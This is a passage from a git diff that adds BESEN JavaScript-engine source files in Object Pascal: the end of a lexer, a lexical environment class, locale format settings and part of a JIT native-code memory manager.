+ else begin + AResult.StringValue:=AResult.StringValue+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + end; + if CurrentChar=c then begin + NextChar; + end else begin + AddError('Unterminated string literal'); + end; + end; + else begin + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (CurrentChar=ord('#')) then begin + NextChar; + AResult.Name:='function'; + AResult.TokenType:=ltkFUNCTION; + end else if BESENUnicodeIsIDStart(CurrentChar) or (CurrentChar=ord('\')) then begin + AResult.Name:=''; + while BESENUnicodeIsIDPart(CurrentChar) or (CurrentChar=ord('\')) do begin + if CurrentChar=ord('\') then begin + NextChar; + case CurrentChar of + ord('x'),ord('X'):begin + NextChar; + v:=0; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + end; + end; + AResult.Name:=AResult.Name+widechar(word(v)); + end; + ord('u'),ord('U'):begin + NextChar; + v:=0; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + end; + end; + end; + end; + AResult.Name:=AResult.Name+widechar(word(v)); + end; + else begin + AResult.Name:=AResult.Name+'\'+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + end else begin + AResult.Name:=AResult.Name+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + if (length(AResult.Name)>0) and ((word(widechar(AResult.Name[1]))=$200c) or (word(widechar(AResult.Name[1]))=$200d)) then begin + raise EBESENSyntaxError.Create('Invalid identifier because <ZWJ> and <ZWNJ> are prohibited as first character'); + end; + AResult.TokenType:=FindKeyword(AResult.Name); + if AResult.TokenType in BESENLexerStrictReservedTokens then begin + if TBESEN(Instance).IsStrict then begin + raise EBESENSyntaxError.CreateUTF16('"'+AResult.Name+'" is a reserved keyword'); + end else begin + AResult.TokenType:=lttIDENTIFIER; + end; + end; + end; + end; + end; + end; + break; + end; + AResult.LineEnd:=BESENUnicodeIsLineTerminator(CurrentChar); + LastWasLineEnd:=AResult.LineEnd; + end; +end; + +procedure InitKeywords; +var kt:TKeywordToken; + i:integer; + k:TKeyword; +begin + SetLength(Keywords,(integer(high(TKeywordToken))-integer(low(TKeywordToken)))+1); + i:=0; + for kt:=low(TKeywordToken) to high(TKeywordToken) do begin + Keywords[i]:=kt; + inc(i); + end; + i:=0; + while (i+1)<length(Keywords) do begin + if KeywordNames[Keywords[i]]>KeywordNames[Keywords[i+1]] then begin + k:=Keywords[i]; + Keywords[i]:=Keywords[i+1]; + Keywords[i+1]:=k; + if i>0 then begin + dec(i); + end else begin + inc(i); + end; + end else begin + inc(i); + end; + end; +end; + +procedure DoneKeywords; +begin + SetLength(Keywords,0); +end; + +procedure InitBESEN; +begin + InitKeywords; +end; + +procedure DoneBESEN; +begin + DoneKeywords; +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENLexicalEnvironment.pas b/Core/JS/BESENLexicalEnvironment.pas new file mode 100644 index 0000000..998a098 --- /dev/null +++ b/Core/JS/BESENLexicalEnvironment.pas @@ -0,0 +1,80 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENLexicalEnvironment; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENEnvironmentRecord,BESENGarbageCollector; + +type TBESENLexicalEnvironment=class(TBESENGarbageCollectorObject) + public + Outer:TBESENLexicalEnvironment; + EnvironmentRecord:TBESENEnvironmentRecord; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENLexicalEnvironment.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Outer:=nil; + EnvironmentRecord:=nil; +end; + +destructor TBESENLexicalEnvironment.Destroy; +begin + Outer:=nil; + EnvironmentRecord:=nil; + inherited Destroy; +end; + +procedure TBESENLexicalEnvironment.Finalize; +begin + Outer:=nil; + EnvironmentRecord:=nil; + inherited Finalize; +end; + +procedure TBESENLexicalEnvironment.Mark; +begin + TBESEN(Instance).GarbageCollector.GrayIt(Outer); + TBESEN(Instance).GarbageCollector.GrayIt(EnvironmentRecord); + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENLocale.pas b/Core/JS/BESENLocale.pas new file mode 100644 index 0000000..cd2f8e6 --- /dev/null +++ b/Core/JS/BESENLocale.pas @@ -0,0 +1,225 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENLocale; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}SysUtils,Classes,BESENConstants,BESENTypes,BESENBaseObject; + +const BESENDefaultFormatSettings:TFormatSettings=( +{$ifdef DelphiXEAndUp} + CurrencyString:'$'; + CurrencyFormat:1; + CurrencyDecimals:2; + DateSeparator:'-'; + TimeSeparator:':'; + ListSeparator:','; + ShortDateFormat:'d/m/y'; + LongDateFormat:'dd" "mmmm" "yyyy'; + TimeAMString:'AM'; + TimePMString:'PM'; + ShortTimeFormat:'hh:nn'; + LongTimeFormat:'hh:nn:ss'; + ShortMonthNames:('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'); + LongMonthNames:('January','February','March','April','May','June','July','August','September','October','November','December'); + ShortDayNames:('Sun','Mon','Tue','Wed','Thu','Fri','Sat'); + LongDayNames:('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'); + ThousandSeparator:','; + DecimalSeparator:'.'; + TwoDigitYearCenturyWindow:50; + NegCurrFormat:5; +{$else} + CurrencyFormat:1; + NegCurrFormat:5; + ThousandSeparator:','; + DecimalSeparator:'.'; + CurrencyDecimals:2; + DateSeparator:'-'; + TimeSeparator:':'; + ListSeparator:','; + CurrencyString:'$'; + ShortDateFormat:'d/m/y'; + LongDateFormat:'dd" "mmmm" "yyyy'; + TimeAMString:'AM'; + TimePMString:'PM'; + ShortTimeFormat:'hh:nn'; + LongTimeFormat:'hh:nn:ss'; + ShortMonthNames:('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'); + LongMonthNames:('January','February','March','April','May','June','July','August','September','October','November','December'); + ShortDayNames:('Sun','Mon','Tue','Wed','Thu','Fri','Sat'); + LongDayNames:('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'); + TwoDigitYearCenturyWindow:50; +{$endif} + ); + +var BESENLocaleFormatSettings:TFormatSettings; + +implementation + +uses BESENCharSet,BESENStringUtils; + +{$warnings off} +procedure InitLocaleFormatSettings; +{$ifdef windows} +{$ifdef fpc} +var i:integer; +begin + BESENLocaleCharset:=ISO_8859_1;//BESENGetCodePage('ISO-8859-1'); + BESENLocaleFormatSettings:=BESENDefaultFormatSettings; + for i:= 1 to 12 do begin + BESENLocaleFormatSettings.ShortMonthNames[i]:=SysUtils.ShortMonthNames[i]; + BESENLocaleFormatSettings.LongMonthNames[i]:=SysUtils.LongMonthNames[i]; + end; + for i:=1 to 7 do begin + BESENLocaleFormatSettings.ShortDayNames[i]:=SysUtils.ShortDayNames[i]; + BESENLocaleFormatSettings.LongDayNames[i]:=SysUtils.LongDayNames[i]; + end; + BESENLocaleFormatSettings.DateSeparator:=SysUtils.DateSeparator; + BESENLocaleFormatSettings.ShortDateFormat:=SysUtils.ShortDateFormat; + BESENLocaleFormatSettings.LongDateFormat:=SysUtils.LongDateFormat; + BESENLocaleFormatSettings.TimeSeparator:=SysUtils.TimeSeparator; + BESENLocaleFormatSettings.TimeAMString:=SysUtils.TimeAMString; + BESENLocaleFormatSettings.TimePMString:=SysUtils.TimePMString; + BESENLocaleFormatSettings.ShortTimeFormat:=SysUtils.ShortTimeFormat; + BESENLocaleFormatSettings.LongTimeFormat:=SysUtils.LongTimeFormat; + BESENLocaleFormatSettings.CurrencyString:=SysUtils.CurrencyString; + BESENLocaleFormatSettings.CurrencyFormat:=SysUtils.CurrencyFormat; + BESENLocaleFormatSettings.NegCurrFormat:=SysUtils.NegCurrFormat; + BESENLocaleFormatSettings.ThousandSeparator:=SysUtils.ThousandSeparator; + BESENLocaleFormatSettings.DecimalSeparator:=SysUtils.DecimalSeparator; + BESENLocaleFormatSettings.CurrencyDecimals:=SysUtils.CurrencyDecimals; + BESENLocaleFormatSettings.ListSeparator:=SysUtils.ListSeparator; +end; +{$else} +var HourFormat,TimePrefix,TimePostfix:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}; + LID:LCID; + i,LCP,Day:integer; +begin + BESENLocaleFormatSettings:=BESENDefaultFormatSettings; + LID:=GetThreadLocale; + if not TryStrToInt(GetLocaleStr(LID,LOCALE_IDEFAULTANSICODEPAGE,inttostr(GetACP)),LCP) then begin + LCP:=GetACP; + end; +{$ifndef BESENSingleStringType} + if LCP>0 then begin + BESENLocaleCharset:=BESENGetCodePage('WINDOWS-'+inttostr(LCP)); + end else{$endif} begin + BESENLocaleCharset:=ISO_8859_1; + end; + for i:=1 to 12 do begin + BESENLocaleFormatSettings.ShortMonthNames[i]:=GetLocaleStr(LID,LOCALE_SABBREVMONTHNAME1+i-1,BESENDefaultFormatSettings.ShortMonthNames[i]); + BESENLocaleFormatSettings.LongMonthNames[i]:=GetLocaleStr(LID,LOCALE_SMONTHNAME1+i-1,BESENDefaultFormatSettings.LongMonthNames[i]); + end; + for i:=1 to 7 do begin + Day:=(i+5) mod 7; + BESENLocaleFormatSettings.ShortDayNames[i]:=GetLocaleStr(LID,LOCALE_SABBREVDAYNAME1+Day,BESENDefaultFormatSettings.ShortDayNames[i]); + BESENLocaleFormatSettings.LongDayNames[i]:=GetLocaleStr(LID,LOCALE_SDAYNAME1+Day,BESENDefaultFormatSettings.LongDayNames[i]); + end; + BESENLocaleFormatSettings.DateSeparator:=GetLocaleChar(LID,LOCALE_SDATE,'/'); + BESENLocaleFormatSettings.ShortDateFormat:=GetLocaleStr(LID,LOCALE_SSHORTDATE,'m/d/yy'); + BESENLocaleFormatSettings.LongDateFormat:=GetLocaleStr(LID,LOCALE_SLONGDATE,'mmmm d, yyyy'); + BESENLocaleFormatSettings.TimeSeparator:=GetLocaleChar(LID,LOCALE_STIME,':'); + BESENLocaleFormatSettings.TimeAMString:=GetLocaleStr(LID,LOCALE_S1159,'AM'); + BESENLocaleFormatSettings.TimePMString:=GetLocaleStr(LID,LOCALE_S2359,'PM'); + if StrToIntDef(GetLocaleStr(LID,LOCALE_ITLZERO,'0'),0)=0 then begin + HourFormat:='h'; + end else begin + HourFormat:='hh'; + end; + TimePostfix:=''; + TimePrefix:=''; + if StrToIntDef(GetLocaleStr(LID,LOCALE_ITIME,'0'),0)=0 then begin + if StrToIntDef(GetLocaleStr(LID,LOCALE_ITIMEMARKPOSN,'0'),0)=0 then begin + TimePostfix:=' AMPM'; + end else begin + TimePrefix:='AMPM '; + end; + end; + BESENLocaleFormatSettings.ShortTimeFormat:=TimePrefix+HourFormat+':nn'+TimePrefix; + BESENLocaleFormatSettings.LongTimeFormat:=TimePrefix+HourFormat+':nn:ss'+TimePrefix; + BESENLocaleFormatSettings.CurrencyString:=GetLocaleStr(LID,LOCALE_SCURRENCY,''); + BESENLocaleFormatSettings.CurrencyFormat:=StrToIntDef(GetLocaleStr(LID,LOCALE_ICURRENCY,'0'),0); + BESENLocaleFormatSettings.NegCurrFormat:=StrToIntDef(GetLocaleStr(LID,LOCALE_INEGCURR,'0'),0); + BESENLocaleFormatSettings.ThousandSeparator:=GetLocaleChar(LID,LOCALE_STHOUSAND,','); + BESENLocaleFormatSettings.DecimalSeparator:=GetLocaleChar(LID,LOCALE_SDECIMAL,'.'); + BESENLocaleFormatSettings.CurrencyDecimals:=StrToIntDef(GetLocaleStr(LID,LOCALE_ICURRDIGITS,'0'),0); + BESENLocaleFormatSettings.ListSeparator:=GetLocaleChar(LID,LOCALE_SLIST,','); +end; +{$endif} +{$else} +var i:integer; +begin + BESENLocaleCharset:=ISO_8859_1;//BESENGetCodePage('ISO-8859-1'); + BESENLocaleFormatSettings:=BESENDefaultFormatSettings; + for i:= 1 to 12 do begin + BESENLocaleFormatSettings.ShortMonthNames[i]:={$ifdef DelphiXE2AndUp}{$else}SysUtils.ShortMonthNames[i]{$endif}; + BESENLocaleFormatSettings.LongMonthNames[i]:={$ifdef DelphiXE2AndUp}{$else}SysUtils.LongMonthNames[i]{$endif}; + end; + for i:=1 to 7 do begin + BESENLocaleFormatSettings.ShortDayNames[i]:={$ifdef DelphiXE2AndUp}{$else}SysUtils.ShortDayNames[i]{$endif}; + BESENLocaleFormatSettings.LongDayNames[i]:={$ifdef DelphiXE2AndUp}{$else}SysUtils.LongDayNames[i]{$endif}; + end; + BESENLocaleFormatSettings.DateSeparator:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.DateSeparator{$else}SysUtils.DateSeparator{$endif}; + BESENLocaleFormatSettings.ShortDateFormat:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.ShortDateFormat{$else}SysUtils.ShortDateFormat{$endif}; + BESENLocaleFormatSettings.LongDateFormat:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.LongDateFormat{$else}SysUtils.LongDateFormat{$endif}; + BESENLocaleFormatSettings.TimeSeparator:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.TimeSeparator{$else}SysUtils.TimeSeparator{$endif}; + BESENLocaleFormatSettings.TimeAMString:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.TimeAMString{$else}SysUtils.TimeAMString{$endif}; + BESENLocaleFormatSettings.TimePMString:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.TimePMString{$else}SysUtils.TimePMString{$endif}; + BESENLocaleFormatSettings.ShortTimeFormat:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.ShortTimeFormat{$else}SysUtils.ShortTimeFormat{$endif}; + BESENLocaleFormatSettings.LongTimeFormat:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.LongTimeFormat{$else}SysUtils.LongTimeFormat{$endif}; + BESENLocaleFormatSettings.CurrencyString:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.CurrencyString{$else}SysUtils.CurrencyString{$endif}; + BESENLocaleFormatSettings.CurrencyFormat:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.CurrencyFormat{$else}SysUtils.CurrencyFormat{$endif}; + BESENLocaleFormatSettings.NegCurrFormat:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.NegCurrFormat{$else}SysUtils.NegCurrFormat{$endif}; + BESENLocaleFormatSettings.ThousandSeparator:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.ThousandSeparator{$else}SysUtils.ThousandSeparator{$endif}; + BESENLocaleFormatSettings.DecimalSeparator:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.DecimalSeparator{$else}SysUtils.DecimalSeparator{$endif}; + BESENLocaleFormatSettings.CurrencyDecimals:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.CurrencyDecimals{$else}SysUtils.CurrencyDecimals{$endif}; + BESENLocaleFormatSettings.ListSeparator:={$ifdef DelphiXE2AndUp}SysUtils.FormatSettings.ListSeparator{$else}SysUtils.ListSeparator{$endif}; +end; +{$endif} +{$warnings on} + +procedure InitBESEN; +begin + InitLocaleFormatSettings; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; + +end. diff --git a/Core/JS/BESENNativeCodeMemoryManager.pas b/Core/JS/BESENNativeCodeMemoryManager.pas new file mode 100644 index 0000000..d35a7bc --- /dev/null +++ b/Core/JS/BESENNativeCodeMemoryManager.pas @@ -0,0 +1,335 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENNativeCodeMemoryManager; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix,UnixType,{$endif} + SysUtils,Classes,BESENConstants,BESENTypes; + +type PBESENNativeCodeMemoryManagerBlock=^TBESENNativeCodeMemoryManagerBlock; + TBESENNativeCodeMemoryManagerBlock=packed record + Signature:ptruint; + Previous:PBESENNativeCodeMemoryManagerBlock; + Next:PBESENNativeCodeMemoryManagerBlock; + Size:ptruint; + end; + + PBESENNativeCodeMemoryManagerBlockContainer=^TBESENNativeCodeMemoryManagerBlockContainer; + TBESENNativeCodeMemoryManagerBlockContainer=record + Previous:PBESENNativeCodeMemoryManagerBlockContainer; + Next:PBESENNativeCodeMemoryManagerBlockContainer; + Base:pointer; + Size:ptruint; + Used:ptruint; + First:PBESENNativeCodeMemoryManagerBlock; + Last:PBESENNativeCodeMemoryManagerBlock; + end; + + TBESENNativeCodeMemoryManager=class + private + PageSize:ptruint; + Alignment:ptruint; + function AllocateBlockContainer(BlockContainerSize:ptruint):PBESENNativeCodeMemoryManagerBlockContainer; + procedure FreeBlockContainer(BlockContainer:PBESENNativeCodeMemoryManagerBlockContainer); + public + First,Last:PBESENNativeCodeMemoryManagerBlockContainer; + constructor Create; + destructor Destroy; override; + function GetMemory(Size:ptruint):pointer; + procedure FreeMemory(p:pointer); + function ReallocMemory(p:pointer;Size:ptruint):pointer; + end; + +{$ifdef HasJIT} +{$ifdef unix} +var fpmprotect:function(__addr:pointer;__len:cardinal;__prot:longint):longint; cdecl;// external 'c' name 'mprotect'; +{$endif} +{$endif} + +implementation + +uses BESENUtils; + +const bncmmMemoryBlockSignature:ptruint={$ifdef cpu64}$1337bab3deadc0d3{$else}$deadc0d3{$endif}; + +constructor TBESENNativeCodeMemoryManager.Create; +{$ifdef windows} +var SystemInfo:TSystemInfo; +{$else} +{$ifdef unix} +{$endif} +{$endif} +begin + inherited Create; +{$ifdef windows} + GetSystemInfo(SystemInfo); + PageSize:=BESENRoundUpToPowerOfTwo(SystemInfo.dwPageSize); +{$else} +{$ifdef unix} + PageSize:=4096; +{$else} + PageSize:=4096; +{$endif} +{$endif} +{$ifdef cpu386} + Alignment:=16; +{$else} +{$ifdef cpuamd64} + Alignment:=16; +{$else} +{$ifdef cpuarm} + Alignment:=16; +{$else} + Alignment:=PageSize; +{$endif} +{$endif} +{$endif} + First:=nil; + Last:=nil; +end; + +destructor TBESENNativeCodeMemoryManager.Destroy; +begin + while assigned(First) do begin + FreeBlockContainer(First); + end; + inherited Destroy; +end; + +function TBESENNativeCodeMemoryManager.AllocateBlockContainer(BlockContainerSize:ptruint):PBESENNativeCodeMemoryManagerBlockContainer; +var Size:ptruint; + Block:PBESENNativeCodeMemoryManagerBlock; +begin + if BlockContainerSize>0 then begin + Size:=BESENRoundUpToMask(BlockContainerSize,PageSize); + New(result); +{$ifdef windows} + result^.Base:=VirtualAlloc(nil,Size,MEM_COMMIT,PAGE_EXECUTE_READWRITE); +{$else} +{$ifdef unix} + result^.Base:=fpmmap(nil,Size,PROT_READ or PROT_WRITE or PROT_EXEC,MAP_PRIVATE or MAP_ANONYMOUS,-1,0); +{$else} + GetMem(result^.Base,Size); +{$endif} +{$endif} + result^.Size:=Size; + result^.Used:=sizeof(TBESENNativeCodeMemoryManagerBlock)*2; + if assigned(Last) then begin + Last^.Next:=result; + result^.Previous:=Last; + Last:=result; + result^.Next:=nil; + end else begin + First:=result; + Last:=result; + result^.Previous:=nil; + result^.Next:=nil; + end; + FillChar(result^.Base^,result^.Size,#0); + result^.First:=result^.Base; + result^.Last:=pointer(@PBESENByteArray(result^.Base)[result^.Size-sizeof(TBESENNativeCodeMemoryManagerBlock)]); + Block:=result^.First; + Block^.Signature:=bncmmMemoryBlockSignature; + Block^.Previous:=nil; + Block^.Next:=result^.Last; + Block^.Size:=0; + Block:=result^.Last; + Block^.Signature:=bncmmMemoryBlockSignature; + Block^.Previous:=result^.First; + Block^.Next:=nil; + Block^.Size:=0; + end else begin + result:=nil; + end; +end; + +procedure TBESENNativeCodeMemoryManager.FreeBlockContainer(BlockContainer:PBESENNativeCodeMemoryManagerBlockContainer); +begin + if assigned(BlockContainer^.Previous) then begin + BlockContainer^.Previous^.Next:=BlockContainer^.Next; + end else begin + First:=BlockContainer^.Next; + end; + if assigned(BlockContainer^.Next) then begin + BlockContainer^.Next^.Previous:=BlockContainer^.Previous; + end else begin + Last:=BlockContainer^.Previous; + end; +{$ifdef windows} + VirtualFree(BlockContainer^.Base,0,MEM_RELEASE); +{$else} +{$ifdef unix} + fpmunmap(BlockContainer^.Base,BlockContainer^.Size); +{$else} + FreeMem(BlockContainer^.Base); +{$endif} +{$endif} + Dispose(BlockContainer); +end; + +function TBESENNativeCodeMemoryManager.GetMemory(Size:ptruint):pointer; +var BlockContainer:PBESENNativeCodeMemoryManagerBlockContainer; + CurrentBlock,NewBlock:PBESENNativeCodeMemoryManagerBlock; + DestSize,BlockContainerSize:ptruint; +begin + result:=nil; + if Size>0 then begin + DestSize:=Size+sizeof(TBESENNativeCodeMemoryManagerBlock); + BlockContainer:=First; + while true do begin + while assigned(BlockContainer) do begin + if (BlockContainer^.Used+DestSize)<=BlockContainer^.Size then begin + CurrentBlock:=BlockContainer^.First; + while assigned(CurrentBlock) and (CurrentBlock^.Signature=bncmmMemoryBlockSignature) and assigned(CurrentBlock^.Next) do begin + NewBlock:=pointer(ptruint(BESENRoundUpToMask(ptruint(pointer(@PBESENByteArray(CurrentBlock)[(sizeof(TBESENNativeCodeMemoryManagerBlock)*2)+CurrentBlock^.Size])),Alignment)-sizeof(TBESENNativeCodeMemoryManagerBlock))); + if (ptruint(CurrentBlock^.Next)-ptruint(NewBlock))>=DestSize then begin + NewBlock^.Signature:=bncmmMemoryBlockSignature; + NewBlock^.Previous:=CurrentBlock; + NewBlock^.Next:=CurrentBlock^.Next; + NewBlock^.Size:=Size; + CurrentBlock^.Next^.Previous:=NewBlock; + CurrentBlock^.Next:=NewBlock; + result:=pointer(@PBESENByteArray(NewBlock)[sizeof(TBESENNativeCodeMemoryManagerBlock)]); + inc(BlockContainer^.Used,DestSize); + exit; + end else begin + CurrentBlock:=CurrentBlock^.Next; + end; + end; + end; + BlockContainer:=BlockContainer^.Next; + end; + if DestSize<=bncmmMINBLOCKCONTAINERSIZE then begin + BlockContainerSize:=bncmmMINBLOCKCONTAINERSIZE; + end else begin + BlockContainerSize:=BESENRoundUpToPowerOfTwo(DestSize); + end; + BlockContainer:=AllocateBlockContainer(BlockContainerSize); + if not assigned(BlockContainer) then begin + break; + end; + end; + end; +end; + +procedure TBESENNativeCodeMemoryManager.FreeMemory(p:pointer); +var BlockContainer:PBESENNativeCodeMemoryManagerBlockContainer; + CurrentBlock:PBESENNativeCodeMemoryManagerBlock; +begin + BlockContainer:=First; + while assigned(BlockContainer) do begin + if ((ptruint(BlockContainer^.Base)+sizeof(TBESENNativeCodeMemoryManagerBlock))<=ptruint(p)) and ((ptruint(p)+sizeof(TBESENNativeCodeMemoryManagerBlock))<(ptruint(BlockContainer^.Base)+BlockContainer^.Size)) then begin + CurrentBlock:=pointer(ptruint(ptruint(p)-sizeof(TBESENNativeCodeMemoryManagerBlock))); + if (CurrentBlock^.Signature=bncmmMemoryBlockSignature) and (CurrentBlock<>BlockContainer^.First) and (CurrentBlock<>BlockContainer^.Last) then begin + dec(BlockContainer^.Used,CurrentBlock^.Size+sizeof(TBESENNativeCodeMemoryManagerBlock)); + CurrentBlock^.Signature:=0; + CurrentBlock^.Previous^.Next:=CurrentBlock^.Next; + CurrentBlock^.Next^.Previous:=CurrentBlock^.Previous; + if (assigned(BlockContainer^.First) and (BlockContainer^.First^.Next=BlockContainer^.Last)) or not assigned(BlockContainer^.First) then begin + FreeBlockContainer(BlockContainer); + end; + exit; + end; + end; + BlockContainer:=BlockContainer^.Next; + end; +end; + +function TBESENNativeCodeMemoryManager.ReallocMemory(p:pointer;Size:ptruint):pointer; +var BlockContainer:PBESENNativeCodeMemoryManagerBlockContainer; + CurrentBlock:PBESENNativeCodeMemoryManagerBlock; + DestSize:ptruint; +begin + result:=nil; + if assigned(p) then begin + if Size=0 then begin + FreeMemory(p); + end else begin + DestSize:=Size+sizeof(TBESENNativeCodeMemoryManagerBlock); + BlockContainer:=First; + while assigned(BlockContainer) do begin + if ((ptruint(BlockContainer^.Base)+sizeof(TBESENNativeCodeMemoryManagerBlock))<=ptruint(p)) and 